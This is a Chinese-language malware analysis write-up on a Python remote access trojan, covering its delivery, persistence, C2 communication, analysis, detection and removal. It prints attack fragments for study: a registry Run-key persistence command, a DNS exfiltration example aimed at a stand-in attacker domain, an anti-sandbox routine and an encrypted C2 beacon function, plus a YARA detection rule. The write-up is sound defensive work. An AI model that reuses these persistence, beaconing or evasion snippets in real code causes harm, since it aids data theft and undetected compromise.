1. 项目概述：当Python成为攻击者的“瑞士军刀”

最近在分析一批恶意样本时，一个用Python编写的远程访问木马引起了我的注意。这玩意儿挺有意思，它不像传统的C++或Go语言写的恶意软件那样直接、生猛，反而带着一种“伪装者”的气质。Python，这门以简洁、易读著称的脚本语言，在安全领域本是自动化工具、安全脚本的代名词，如今却越来越多地被攻击者利用，构建起从信息窃取到完全系统控制的恶意工具。这个基于Python的RAT，就是一个典型的例子。它利用了Python的跨平台特性、丰富的第三方库以及相对宽松的静态查杀环境，实现了一套轻量但功能齐全的后门控制。

对于安全研究人员、应急响应工程师，甚至是刚入门的安全爱好者来说，深入拆解这样一个样本，其价值远超分析一个黑盒的二进制木马。你能清晰地看到攻击者的编程思路、依赖哪些库、如何实现持久化、通信如何加密——整个过程就像在看一本“攻击者写的教科书”。而对于开发者而言，了解这些恶意代码的构造手法，也能在日常开发中更好地规避安全风险，写出更健壮的代码。接下来，我就带大家一步步拆解这个Python RAT，看看它到底是怎么运作的，我们又该如何防御和检测。

2. 核心功能与攻击链拆解

这个Python RAT麻雀虽小，五脏俱全。它没有追求极致的隐蔽性或对抗性，而是强调快速部署、功能实用和跨平台兼容。其核心攻击链可以概括为：投递 -> 执行 -> 持久化 -> 建立连接 -> 等待指令 -> 执行任务。下面我们逐一拆解每个环节攻击者可能采用的技术手段。

2.1 初始投递与执行入口

攻击者要让目标运行恶意脚本，第一步就是投递。对于Python脚本，常见的投递方式有几种：

  1. 钓鱼邮件附件 ：将 .py 文件直接作为附件，或打包进ZIP压缩包。更狡猾的做法是将其伪装成文本文件（如 readme.txt.py ），利用Windows默认隐藏已知文件扩展名的特性诱骗用户点击。
  2. 软件捆绑 ：将恶意Python脚本与一些破解软件、游戏外挂或所谓的“实用工具”打包在一起。当用户运行主程序时，后台静默执行Python脚本。
  3. 利用漏洞下载 ：通过其他漏洞（如Web漏洞、办公软件漏洞）获得初始执行权限后，从远程服务器下载Python脚本并执行。

这个样本的入口点通常是一个单一的 .py 文件。为了降低用户警惕性，攻击者可能会对代码进行简单的混淆，比如变量名替换、字符串编码（Base64、Hex）、插入无关代码等。但Python是解释型语言，混淆深度有限，核心逻辑很容易被还原。

注意 ：在实际分析中，我遇到过将核心恶意代码以 zipimport 方式嵌入的样本。它将所有依赖库和脚本打包成一个ZIP文件，然后通过 sys.path.insert 和 __import__ 动态加载，这给静态分析增加了一点小麻烦。

2.2 持久化机制剖析

脚本跑起来只是第一步，如何在系统重启后依然存活，才是RAT的价值所在。这个Python RAT在Windows和Linux/macOS上采用了不同的持久化策略，充分体现了跨平台设计的思路。

Windows平台 ： 攻击者最常利用的是注册表启动项和计划任务。

  • 注册表 ：修改 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 或 HKEY_LOCAL_MACHINE 下的对应路径，添加一个指向Python解释器和脚本路径的键值。例如，恶意代码可能会执行类似下面的命令： 
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater" /t REG_SZ /d "C:\Python39\pythonw.exe C:\Users\Public\documents\client.py" /f
    这里使用了 pythonw.exe ，这是一个不显示控制台窗口的Python可执行文件，非常适合后台静默运行。
  • 计划任务 ：通过 schtasks 命令创建定时任务，可以设定在用户登录时、系统空闲时或特定时间触发，灵活性更高，也更隐蔽。

Linux/macOS平台 ： 主要利用用户级或系统级的启动目录、cron任务和systemd服务。

  • 启动目录 ：在 ~/.config/autostart/ 目录下创建 .desktop 文件，或在 ~/.bashrc , ~/.zshrc , ~/.profile 等shell配置文件中追加执行命令。
  • Cron任务 ：通过 crontab -e 或向 /etc/cron.d/ 目录写入文件，添加定时任务。攻击者可能会检查当前用户权限，尝试写入系统级的cron目录以获得更高权限的持久化。
  • Systemd服务 ：如果攻击者获得了root权限，可能会创建一个systemd服务单元文件（ .service ），将其放置在 /etc/systemd/system/ 下，并启用自启动。这是最隐蔽、最稳固的持久化方式之一。

这个样本在代码中通常会包含一个 persist() 函数，通过 platform.system() 判断操作系统，然后分支执行对应的持久化代码。分析时，找到这个函数就等于抓住了它“扎根”系统的关键。

2.3 通信与控制协议设计

通信是RAT的神经中枢。这个Python RAT没有使用复杂的自定义协议，而是巧妙地利用了常见的应用层协议进行伪装，以绕过简单的网络流量检测。

  1. HTTP/HTTPS协议 ：这是最主流的方式。木马会以固定时间间隔（心跳）向攻击者控制的服务器（C2）发送HTTP POST请求。请求体可能包含经过编码的系统信息（主机名、用户名、IP地址）。服务器则通过HTTP响应返回指令，指令可能藏在正常的HTTP头字段（如 X-Custom-Command ）、Cookie中，或者响应正文的特定位置。使用HTTPS可以加密通信内容，防止中间人窥探。Python的 requests 库是实现此功能的“利器”。
  2. DNS协议 ：一种更隐蔽的通信方式。木马将需要外传的数据编码成子域名，向攻击者控制的DNS服务器发起查询。例如，将 base64_encode(system_info).attacker.com 作为查询域名。DNS响应（如TXT记录）则可以携带指令。这种方式能绕过很多只监控HTTP流量的防火墙。
  3. 社交媒体与云服务 ：利用Twitter、GitHub Gist、Telegram Bot API或公开的云存储（如Pastebin、Google Drive）作为指令中转站。木马定期从某个公开URL读取内容（如一个特定的推文、一个Gist文件），解析其中的指令。这种方式利用了可信服务的白名单优势，隐蔽性极强。

在分析样本的通信模块时，我们需要重点关注：

  • C2地址 ：是硬编码在代码中的域名/IP，还是通过动态域名生成算法（DGA）生成的？
  • 心跳格式 ：发送的数据结构是什么？如何编码（Base64, XOR, AES）？
  • 指令格式 ：攻击者返回的指令如何解析？通常是 命令|参数 的格式，如 cmd|whoami 。

2.4 指令集与功能实现

一旦连接建立，攻击者就可以下发指令。这个Python RAT的指令集反映了攻击者的典型意图：信息收集、系统操控、横向移动。

  • 系统信息侦察 ：执行 whoami , ipconfig /all 或 ifconfig , systeminfo 等命令，收集主机基础信息。使用 psutil 库可以更细致地获取进程、磁盘、网络连接信息。
  • 文件系统操作 ：实现类FTP的功能，如 list 列出目录， download <file_path> 上传文件到C2， upload <remote_url> 从C2下载文件， delete , execute 等。
  • 屏幕截图与键盘记录 ：使用 PIL （Pillow）库或 mss 库进行屏幕捕获。使用 pynput 库监听键盘事件，实现键盘记录功能。这些是窃取敏感信息的重要手段。
  • Shell命令执行 ：最核心的功能。通过 subprocess.Popen 或 os.system 执行攻击者下发的任意系统命令，并将结果回传。这是将Python RAT转变为全能攻击跳板的关键。
  • 进程管理 ：枚举、杀死指定进程。
  • 自更新与卸载 ：从C2下载新版本替换自身，或删除持久化项并退出。

在代码中，通常会有一个大的 while 循环，不断从C2获取指令，然后通过一个 if-elif-else 或 字典映射 来匹配和执行对应的函数。分析这个指令分发逻辑，就能完整掌握该RAT的能力范围。

3. 技术细节深度解析

了解了宏观的攻击链，我们深入到代码层面，看看攻击者是如何利用Python特性实现这些功能的，其中又隐藏着哪些值得玩味的技巧和陷阱。

3.1 依赖管理与环境兼容性

一个成熟的Python RAT会认真处理依赖问题。它通常不会假设目标机器上有 requests 、 psutil 、 pynput 这些库。因此，在初始执行时，往往会包含一个“环境自检与修复”模块。

def setup_environment():
    import subprocess
    import sys
    required_packages = ['requests', 'psutil', 'Pillow', 'pynput', 'cryptography']
    for package in required_packages:
        try:
            __import__(package.split('==')[0]) # 处理可能带版本号的情况
        except ImportError:
            print(f"[*] Installing {package}...")
            # 使用国内镜像源加速安装，避免网络问题导致失败
            subprocess.check_call([sys.executable, "-m", "pip", "install", package, "-i", "https://pypi.tuna.tsinghua.edu.cn/simple"])

这段代码会尝试导入必要的库，如果失败，则自动调用 pip 安装。攻击者甚至会将必要的库文件（ .whl 或源码）直接打包进恶意软件，通过 sys.path 本地导入，完全脱离网络安装。这体现了攻击者对用户体验（ albeit malicious）的“贴心”考虑。

兼容性处理 ：代码中充斥着对Windows和POSIX系统（Linux/macOS）的判断。

import platform
import os

if platform.system() == 'Windows':
    persistence_path = os.path.join(os.getenv('APPDATA'), 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup')
    # Windows持久化逻辑
else:
    # Linux/macOS持久化逻辑，如操作cron或systemd

这种细致的兼容性处理，确保了恶意软件能在更广泛的目标环境中存活。

3.2 进程隐藏与防分析技巧

作为一个后台木马，避免被用户轻易发现至关重要。除了使用 pythonw.exe ，还有更多技巧：

  • 进程名伪装 ：在Linux下，可以通过 argv[0] 修改进程名。在Windows下，虽然更困难，但可以将Python脚本打包成exe，并赋予一个看似无害的名字，如 svchost.exe 或 javaupdater.exe 。
  • 代码混淆与加密 ：虽然Python难以彻底混淆，但攻击者仍会尝试。常见方法包括使用 base64 、 zlib 编码字符串和关键函数；使用 exec 或 eval 执行动态解码的代码块，增加静态分析的难度。
  • 反调试与反沙箱 ：
    • 检查运行时间 ：如果脚本启动后运行时间极短（沙箱环境可能只运行几分钟），则退出。
    • 检查硬件资源 ：检测CPU核心数、内存大小、磁盘大小。虚拟沙箱环境往往配置较低。
    • 检查用户交互 ：检测鼠标移动、点击事件。沙箱中通常没有真实的用户交互。
    • 检测调试器 ：尝试导入 pydebug 或检查 sys.gettrace() 是否被设置。
# 一个简单的反沙箱检查示例
import psutil
import time

def anti_sandbox():
    # 检查CPU核心数（沙箱可能只有1-2核）
    if psutil.cpu_count(logical=False) < 2:
        return True
    # 检查内存大小（沙箱可能小于2GB）
    if psutil.virtual_memory().total < 2 * 1024**3: # 2GB
        return True
    # 检查运行时间（运行超过5分钟才执行恶意行为）
    start_time = time.time()
    time.sleep(300) # 休眠5分钟
    if time.time() - start_time < 300:
        return True # 如果时间没到5分钟就被跳过，可能是在沙箱
    return False

3.3 通信加密与数据编码

明文通信等于自投罗网。这个RAT在通信中必然使用了加密或编码。

  1. 对称加密（AES） ：使用 cryptography 库或 PyCryptodome 库进行AES加密。密钥可能硬编码，也可能由首次通信协商产生（如Diffie-Hellman密钥交换的简化版）。
  2. 编码混淆 ：即使不加密，也会使用Base64、Hex或自定义的XOR运算对传输的数据进行编码，避免触发基于明文关键词（如 cmd , download ）的入侵检测系统（IDS）规则。
  3. TLS证书验证绕过 ：在使用 requests 库发起HTTPS请求时，攻击者可能会设置 verify=False 来忽略证书验证错误，这虽然会降低安全性，但能确保连接在各种环境下都能建立，是恶意软件的常见做法。
import requests
from cryptography.fernet import Fernet
import base64
import json

# 假设有一个硬编码的密钥（实际中可能更隐蔽）
KEY = b'your-32-url-safe-base64-encoded-key-here=='
cipher = Fernet(KEY)

def send_beacon(c2_url, data):
    # data是一个字典，包含系统信息
    plaintext = json.dumps(data).encode()
    encrypted_data = cipher.encrypt(plaintext)
    # 将加密后的字节数据base64编码后作为POST数据发送
    encoded_data = base64.b64encode(encrypted_data).decode()
    try:
        # 注意 verify=False 是危险操作，仅为示例
        resp = requests.post(c2_url, data={'d': encoded_data}, timeout=30, verify=False)
        if resp.status_code == 200:
            # 解密响应指令
            resp_encrypted = base64.b64decode(resp.content)
            command = cipher.decrypt(resp_encrypted).decode()
            return command
    except Exception as e:
        pass
    return None

4. 静态与动态分析实操指南

拿到一个疑似Python RAT的脚本，我们该如何入手分析？下面结合这个样本，分享一套从静态到动态的完整分析流程。

4.1 静态分析：代码审计与线索挖掘

静态分析是在不运行代码的情况下，通过阅读源代码来理解其逻辑。这是分析Python恶意软件最直接有效的方法。

第一步：代码整理与去混淆 如果代码被混淆（变量名是a, b, c，字符串是编码过的），先尝试手动或使用工具（如 python-deobfuscator 类似的脚本）进行还原。重点还原 eval / exec 执行的代码块和关键的字符串常量。对于Base64编码的字符串，直接解码；对于简单的XOR，可以尝试暴力破解密钥。

第二步：关键函数定位 使用文本编辑器或IDE的搜索功能，查找以下关键词：

  • import ：引入了哪些库？ requests , socket , subprocess , os , platform , psutil , pynput , cryptography 等都是危险信号。
  • while True / time.sleep ：这是主循环和心跳机制。
  • subprocess.Popen , os.system , os.popen ：命令执行点。
  • open(..., 'wb') , urlopen , requests.get ：文件操作和网络通信。
  • reg add , schtasks , crontab ：持久化操作。
  • 硬编码的URL、IP、域名：C2服务器地址。
  • 加密密钥或初始化向量（IV）。

第三步：理清执行流程 画一个简单的流程图：从 __main__ 或脚本开头开始，跟踪函数调用顺序。重点关注：

  1. 环境检查与依赖安装。
  2. 持久化函数调用。
  3. 主循环：如何连接C2？心跳数据格式？如何接收和解析指令？指令如何分发和执行？
  4. 各个功能函数（文件操作、截图、键盘记录等）的具体实现。

第四步：提取IoC（失陷指标） 将分析过程中发现的以下信息整理出来，用于威胁情报共享和检测规则编写：

  • C2地址 ：域名、IP、URL路径。
  • 持久化路径 ：注册表键、计划任务名、文件路径。
  • 互斥量/标识符 ：脚本中可能存在的唯一字符串，用于判断是否已感染。
  • 加密密钥 。
  • 使用的第三方库及特定版本 。

4.2 动态分析：沙箱环境中的行为监控

静态分析可能遇到高度混淆或加密的代码块，此时需要动态分析。 务必在隔离的沙箱环境中进行！

环境搭建 ：

  • 虚拟机 ：使用VMware或VirtualBox创建一个干净的Windows和Linux虚拟机，并拍摄快照。分析前恢复快照。
  • 网络配置 ：将虚拟机设置为Host-Only或NAT模式，并配置流量监控。可以使用 InetSim 模拟网络服务，让恶意软件连接“假”的C2，从而观察其行为。
  • 分析工具 ：
    • Process Monitor (ProcMon) ：监控文件、注册表、进程、网络活动。
    • Wireshark ：抓取所有网络流量，分析通信协议和内容。
    • API Monitor ：监控Python解释器调用的Windows API。
    • Sysinternals Suite ： Autoruns 查看自启动项， Process Explorer 查看进程树和句柄。

分析步骤 ：

  1. 基线记录 ：在运行样本前，记录系统关键位置（启动目录、注册表Run键、计划任务、服务列表）的状态，以及网络连接情况。
  2. 运行样本 ：在沙箱中执行Python脚本。可以使用 python -c “exec(open(‘malware.py’).read())” 来运行，避免直接双击。
  3. 行为监控 ：
    • 文件系统 ：观察是否在 AppData , Temp , ProgramData 等目录创建了文件。
    • 注册表 ：重点关注 Run , RunOnce 等启动项键的修改。
    • 进程 ：观察是否有新的 pythonw.exe 或伪装进程产生，以及其子进程。
    • 网络 ：在Wireshark中过滤出样本进程的流量，看它向哪个地址发送了HTTP/DNS请求，请求内容是什么。
  4. 交互测试 ：如果可能，在分析机搭建一个简单的HTTP服务器（如Flask），模拟C2，并按照样本的协议格式返回一些测试指令（如 cmd|whoami ），观察样本的执行和回传情况。

实操心得 ：动态分析时，经常遇到样本因为连接不到C2而休眠或退出。这时，修改本地的 hosts 文件，将样本中的C2域名指向你控制的模拟服务器IP，是让样本“活”起来的关键一步。同时，用 InetSim 模拟DNS、HTTP等服务，可以捕获到更完整的行为。

4.3 高级分析：内存转储与打包exe分析

有时攻击者会将Python脚本用 PyInstaller 、 Py2Exe 或 Nuitka 打包成独立的可执行文件（exe）。这增加了分析的复杂度，但并非无解。

对于PyInstaller打包的程序 ：

  1. 提取Python字节码 ：使用工具如 pyinstxtractor ，可以将exe文件解包，得到其中的 pyc （Python字节码）文件。 
    python pyinstxtractor.py malware.exe
  2. 反编译pyc文件 ：使用 uncompyle6 或 decompyle3 工具，将 pyc 文件反编译回可读的Python源代码。注意版本匹配问题。 
    uncompyle6 malware.exe_extracted/malware.pyc > malware_decompiled.py
  3. 分析反编译代码 ：得到的代码可能有些混乱，但核心逻辑通常完整，可以继续用静态分析的方法进行审计。

内存分析 ： 如果样本在运行中，可以转储其进程内存。在Windows上，可以使用 procdump 从 pythonw.exe 进程转储内存。

procdump -ma <pid_of_pythonw>

然后使用字符串提取工具（如 strings 命令）在内存转储文件中搜索可能的C2地址、密钥或指令片段。这有时能发现静态分析中未硬编码的配置信息。

5. 防御、检测与清除方案

分析是为了更好的防御。了解了攻击者的手法，我们就可以制定针对性的策略。

5.1 防御建议：从源头减少风险

  1. 用户教育与策略 ：

    • 永不轻易运行未知来源的脚本 ：尤其是邮件附件、下载站获取的 .py , .pyw , .exe 文件。
    • 显示文件扩展名 ：在Windows文件夹选项中取消“隐藏已知文件类型的扩展名”，避免 file.txt.py 这类伪装。
    • 使用最小权限原则 ：日常使用不使用管理员账户。

  2. 系统与环境加固 ：

    • 限制Python执行 ：在非开发机上，可以考虑通过AppLocker或软件限制策略，限制从非标准路径（如 Downloads , Temp ）执行Python解释器。
    • 严格控制持久化位置权限 ：对注册表 Run 键、启动文件夹、计划任务库等设置严格的ACL（访问控制列表），禁止普通用户写入。
    • 网络出口过滤 ：在企业防火墙，限制内部主机向外部发起非常用端口的连接。虽然HTTP/HTTPS难以完全禁止，但可以结合威胁情报对已知恶意域名/IP进行拦截。

  3. 开发安全 ：

    • 如果你是Python开发者，避免在代码中硬编码敏感信息。使用 pip audit 定期检查项目依赖是否存在已知漏洞。
    • 对需要分发的脚本，考虑进行代码混淆和加密（用于保护知识产权，而非恶意目的），并签名验证完整性。

5.2 检测方案：构建多维感知体系

基于此RAT的特征，我们可以从多个层面部署检测。

主机层检测（EDR/终端防护） ：

  • 进程行为监控 ：检测由 python.exe 或 pythonw.exe 启动的、长时间运行且发起网络连接的子进程。特别关注 pythonw.exe ，因为它是无窗口的。
  • 命令行监控 ：记录 subprocess.Popen 、 os.system 执行的命令，特别是 whoami 、 ipconfig 、 systeminfo 等侦察命令，以及 reg add 、 schtasks 等持久化命令。
  • 文件与注册表监控 ：监控对自启动位置（如 HKCU\...\Run 、 Startup 文件夹）的创建和修改操作。
  • Python模块加载监控 ：记录Python解释器加载的模块，如果发现非标准的恶意软件常用库（如 pynput 用于键盘记录， mss 用于截图）被加载，应产生告警。

网络层检测（NIDS/流量分析） ：

  • HTTP流量分析 ：
    • 规律性心跳 ：检测固定时间间隔向同一域名/IP发送的相似POST请求。
    • 异常User-Agent ：Python requests 库有默认的User-Agent，如 python-requests/2.28.1 。大量此类请求可能是可疑信号。
    • POST数据特征 ：检测Base64编码的长数据块作为POST body，或者响应中携带异常HTTP头字段。
  • DNS流量分析 ：
    • 长域名查询 ：检测包含长串Base64或Hex字符的子域名查询。
    • 异常TXT记录请求 ：客户端频繁请求特定域名的TXT记录，可能是在获取指令。
  • 结合威胁情报 ：将流量中的域名、IP与公开的恶意软件C2情报库进行比对。

YARA规则示例 ： 可以编写YARA规则在文件系统或内存中扫描此类恶意软件的特征码。

rule Python_RAT_Generic {
    meta:
        description = "Detects generic Python RAT characteristics"
        author = "Your Name"
        date = "2023-10-27"
    strings:
        $import_requests = "import requests"
        $import_subprocess = "import subprocess"
        $import_os = "import os"
        $while_true = "while True:"
        $time_sleep = "time.sleep"
        $subprocess_popen = "subprocess.Popen"
        $reg_add = "reg add"
        $base64_b64encode = "base64.b64encode"
    condition:
        4 of them and filesize < 500KB
}

5.3 清除与响应：手动清除步骤

如果发现系统感染了此类Python RAT，可以按以下步骤手动清除（以Windows为例）：

  1. 终止恶意进程 ：

    • 打开任务管理器，查找可疑的 pythonw.exe 或伪装进程。注意查看命令行参数，通常能看到脚本路径。
    • 或者使用Process Explorer，根据进程的启动命令行或父进程进行判断。
    • 结束该进程。

  2. 删除持久化项 ：

    • 注册表 ：运行 regedit ，导航到 HKCU\Software\Microsoft\Windows\CurrentVersion\Run 和 HKLM\...\Run ，删除与恶意脚本相关的键值。
    • 计划任务 ：运行 taskschd.msc ，在任务计划程序库中查找可疑任务并删除。
    • 启动文件夹 ：检查 C:\Users\<用户名>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 和 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp 目录，删除恶意脚本或快捷方式。

  3. 删除恶意文件 ：

    • 根据在持久化项和进程命令行中发现的路径，定位到恶意Python脚本及其可能生成的临时文件、下载的payload，彻底删除。

  4. 检查网络连接 ：使用 netstat -ano 检查是否有残留的异常外连，并重置防火墙规则。

  5. 全盘扫描与加固 ：使用杀毒软件进行全盘扫描。按照防御建议加固系统，并审查近期运行过的可疑程序。

对于Linux/macOS，步骤类似：使用 ps auxf 查找进程，检查 crontab -l 、 ~/.config/autostart/ 、 /etc/systemd/system/ 等位置，删除相关项目和文件。

整个分析下来，这个基于Python的RAT更像是一个“教学样本”或“轻量级工具”，它展示了攻击者如何利用高级语言的便利性快速构建跨平台恶意软件。它的强大不在于技术有多高深，而在于其易用性和适应性。对于防御方而言，面对这类威胁，除了传统的基于哈希值和签名的检测，更需要加强行为监控和异常检测能力，因为攻击者的代码和C2地址可以轻易变化。而对于安全分析师来说，掌握这样一套从静态到动态、从分析到防御的完整方法论，才是应对层出不穷的恶意软件变种的根本之道。

Logo
亚马逊云科技技术品牌专区

更多推荐

2026年量化工具选择，要跟着能力基础走

读者应理解，选择工具前要先判断自己的能力基础和当前任务。工具应该帮助自己补上当前最关键的缺口，而不是替代学习顺序本身。

avatar 亚马逊云科技技术品牌专区

加州理工 CS367 C 语言系统编程笔记（一）

C语言是一种强大且广泛使用的编程语言，尤其在系统编程领域。本节课我们将学习C语言的基础语法，包括如何编写“Hello, World!”程序、声明变量以及使用基本数据类型。我们将通过实际的代码示例来加深理解。本节课中我们一起学习了C语言的基础语法，包括如何编写和运行一个简单的C程序、声明变量以及使用基本数据类型。我们还介绍了如何使用Shell环境来编译和运行程序。通过对比Java，你可以看到C语言在

avatar 亚马逊云科技技术品牌专区

近期零基础学量化，先按基础差异拆学习顺序

读者应明白，拆解学习顺序时要先看自己的基础缺口，再决定哪一段需要放慢。不同流程阶段都有不同检查任务，学习路线要能反映这些差异。

avatar 亚马逊云科技技术品牌专区